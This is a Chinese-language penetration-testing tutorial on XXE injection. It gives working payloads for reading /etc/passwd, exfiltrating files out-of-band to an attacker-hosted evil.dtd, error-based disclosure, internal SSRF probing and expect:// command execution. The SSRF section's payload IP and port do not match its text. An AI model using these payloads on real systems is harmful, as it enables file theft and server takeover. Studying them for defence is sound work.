什么是XXE
XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
xml语法
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明--><bookstore> <!--根元素--><book category="COOKING"> <!--bookstore的子元素,category为属性--><title>Everyday Italian</title> <!--book的子元素,lang为属性--><author>Giada De Laurentiis</author> <!--book的子元素--><year>2005</year> <!--book的子元素--><price>30.00</price> <!--book的子元素--></book> <!--book的结束--></bookstore> <!--bookstore的结束-->DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块,实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体
1.内部DTD文档<!DOCTYPE 根元素[定义内容]>
2.外部DTD文档<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
3.内外部DTD文档结合<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>内部实体
<!ENTITY 实体名称 "实体的值">
例如:<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "hello">]><foo>&xxe;</foo>几乎没有什么利用价值
外部实体
有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议file:///path/to/file.exthttp://url/file.extphp://filter/read=convert.base64-encode/resource=conf.php
例如:<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >%xxe;]><foo>&evil;</foo>------------------------------------------------------------------------------------------------------------外部evil.dtd中的内容<!ENTITY evil SYSTEM “file:///d:/1.txt” >%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在<foo> </foo>中。
XXE漏洞利用
| 攻击类型 | Payload | 说明 |
|---|---|---|
| 文件读取 | <!ENTITY xxe SYSTEM "file:///etc/passwd"> 然后在XML中引用 &xxe; | 利用 file:// 协议读取系统文件。如果文件内容含有特殊XML字符,可能导致解析错误 |
| 无回显数据外带 | 在VPS放置恶意DTD(如 evil.dtd): <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://your-vps.com/?%file;'>"> %eval; %exfil; 提交Payload引用该DTD: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://your-vps.com/evil.dtd"> %xxe;]> | 通过参数实体将目标文件内容拼接到发送给攻击者服务器的URL中。查看服务器访问日志即可获取文件内容 |
| 基于错误的文件读取 | 在VPS放置恶意DTD(如 error.dtd): <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; 提交Payload引用该DTD | 通过将文件内容注入到一个不存在的路径中,触发解析错误,从而在错误信息中回显文件内容 |
| 内网探测 (SSRF) | <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/"> | 利用外部实体请求触发XML解析器向内网系统发送HTTP请求,根据响应时间或错误信息判断端口/服务状态 |
| 命令执行 (RCE) | <!ENTITY xxe SYSTEM "expect://id"> | 利用 PHP 的 expect 扩展(需额外安装),通过 expect:// 伪协议执行系统命令(如 id、ls)。当 XML 解析器处理该实体时,会调用系统 Shell 执行命令,并将命令的标准输出直接作为实体内容返回,从而实现对服务器的完全控制。 |
文件读取
有回显
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]><root>&file;</root>无回显
无回显的文件读取可以通过 blind XXE 方法加上外带数据通道(ooB)来提取数据
<?xml version="1.0"?><!DOCTYPE test[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt"><!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">%dtd;%send;]>evil.xml
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>">%payload;//%号要进行实体编码成%先 %dtd 请求远程服务器(攻击机)上的 evil.xml,然后 %payload 调用了 %file ,%file 获取对方服务器上的敏感文件,最后替换 %send,数据被发送到我们远程的服务器,就实现了数据的外带
另外补充两种模板参考
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "file:///c://test/1.txt"><!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">%dtd; %all;]><value>&send;</value>
evil.xml文件内容为<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>"><?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"><!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">%dtd;%send;]><root></root>
evil.xml文件内容为:<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>">%payload;基于错误的文件读取
当目标服务器不提供回显,但会返回详细的错误信息时,我们可以利用这种方法,通过错误来让文件内容在错误信息中显示出来,一个典型的利用Payload如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE message [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;]><message>trigger</message>% file:参数实体,读取目标文件
% eval:参数实体,它的值定义了一个新的参数实体 % error。这个% error实体试图加载一个路径为file:///nonexistent/文件内容的文件
%eval; 和 %error;:当解析器依次处理这些参数实体时,它会尝试去访问一个路径为/nonexistent/加上/etc/passwd文件内容的”文件”。这样的路径显然不存在,从而会触发一个错误(如FileNotFoundException)。而文件内容,因为被作为路径的一部分,就有可能包含在错误信息中返回给我们
这种方法高度依赖于服务器配置,需要其开启详细的错误回显
命令执行
在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除。搬运师傅们的代码以供参考
源码:
<?php$xml = <<<EOF<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "expect://ls">]><x>&f;</x>EOF;$data = simplexml_load_string($xml);print_r($data);?>payload:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "expect://ifconfig">]><root><name>&xxe;</name></root>当XML解析器处理 &xxe; 时,会识别 SYSTEM 声明中的 expect:// 伪协议,并尝试调用 PHP 的 expect 扩展来执行系统命令 ifconfig。
根据解析后的 XML 数据结构(即 print_r($data) 打印出的内容),我们就可以直接获取该命令在服务器终端的标准输出结果。在这个具体的例子中,攻击者可以看到服务器的完整网络接口配置(如 IP 地址、MAC 地址、子网掩码等)。在实际渗透测试中,这代表了漏洞利用的危害等级发生了质变:从单纯的“文件读取”或“内网探测”升级为了远程命令执行 (RCE)。只要该扩展存在,攻击者就可以将其替换为 expect://id、expect://ls / 甚至反弹 Shell 的命令来完全控制服务器。
内网探测
这种攻击方式本质上是利用XXE发起SSRF攻击,让XML解析器成为我们探测内网的”探针”,一个基本的探测Payload如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://81.71.18.95:8080/">]><data><status>&xxe;</status></data>当XML解析器处理&xxe;时,会尝试访问http://192.168.1.1:8080/
根据响应时间、返回内容(如果回显)或错误信息(如连接拒绝、超时等),我们就可以推断该IP的80端口是否开放,或者相应服务是否存在,在实际渗透测试中,我们可能需要先读取服务器的网络配置文件(如/etc/network/interfaces、/proc/net/arp或/etc/hosts)来获取内网网段信息,然后再进行系统的端口或服务探测
部分信息可能已经过时









